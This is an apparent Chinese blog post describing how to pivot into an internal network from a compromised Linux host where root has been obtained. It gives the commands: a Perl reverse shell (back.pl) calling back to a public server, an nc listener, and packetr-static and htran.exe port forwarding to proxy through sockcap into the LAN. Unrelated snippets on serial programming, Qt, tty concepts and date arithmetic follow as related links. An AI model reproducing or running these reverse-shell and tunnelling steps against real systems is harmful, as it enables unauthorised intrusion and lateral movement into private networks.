Linux下的内网反弹实例
环境:
被攻陷的Linux主机(拿到root权限)-----模拟为我内网的一台Linux服务器 192.168.0.105
hack的操作用机-----我的电脑 192.168.1.101
反弹到公网的服务器-----我自己的公网服务器 61.160.2xx.xxx
渗透测试用的windows测试机 192.168.1.109
工具:
packetr-static Linux下的
htran.exe windows下的
sockcap 用作代理进入内网渗透的利器
过程:
1.我模拟下极度苛刻的情况下的环境,该攻陷的Linux服务器对外不开放22,只存在web端口80,那么我们必须得反弹shell到公网的机器上,这点我虚拟机里面没 这个环境,我就直接说下简要的
上传back.pl文件到linux下的tmp目录下,执行
perl /tmp/back.pl xxx.xxx.xxx.xxx 端口
在公网的服务器上,运行nc执行
nc -l -v -p 端口(跟上面的一样)
现在我弹2个窗口回来,一个开代理,一个转发数据
把packetr-static传上去,执行
./packetr-static -s 1988
一个窗口转发数据,执行
./packetr-static -slave 61.160.20x.xxx 123 127.0.0.1 1988
2.在windows公网端执行,
htran.exe -p -listen 123 1988
3.配置sockcap
4.运行代理程序进入内网
相关文档：
Linux 下串口编程心得
我刚刚完成了一个串口的项目，有一点收获，就说说这段时间的体会吧！
一开始在网上找资料，最多是《Linux Serial HOWTO 中译版》，浏览地址：http://linux.cis.nctu.edu.tw/chinese/how-to/Serial-HOWTO.ht ......
Qt
for Embedded Linux Architecture
http://doc.qt.nokia.com/4.6/qt-embedded-architecture.html
针对嵌入式LINUX操作系统的QT的架构
公司将运行在嵌入式LINUX设备（嵌入式设备；该设备上运行的操作系统是LINUX）上的QT做了一些定制和修改，使其更适合嵌入式设备上的LINUX系统上运行。以下将这样针对LINUX嵌入式设� ......
Linux中tty、
pty、pts的概念区别
基本概念：
1> tty(终端设备的统称):
tty一词源于
Teletypes，或者teletypewriters，原来指的是电传打字机，是通过串行线用打印机键盘通过阅读和发送信息的东西，后来这东西被键盘
与显示器取代，所以现在叫终端比较合适。
终端是一种字符型设备，它有多种类型，通常使用tty来 ......
在linux下怎么取昨天（前一天）的日期？
man
date，可以看到date可以显示当前的时间，修改系统时间，或者显示指定的时间。取到当前时间，当然可以反算回去，但又要判断是否是一个月的最后一
天，一年的最后一天， 还有闰年需要判断，写出的脚本不是10几行能解决的。其实date本身就有一个方法可以计算时间，昨天，� ......
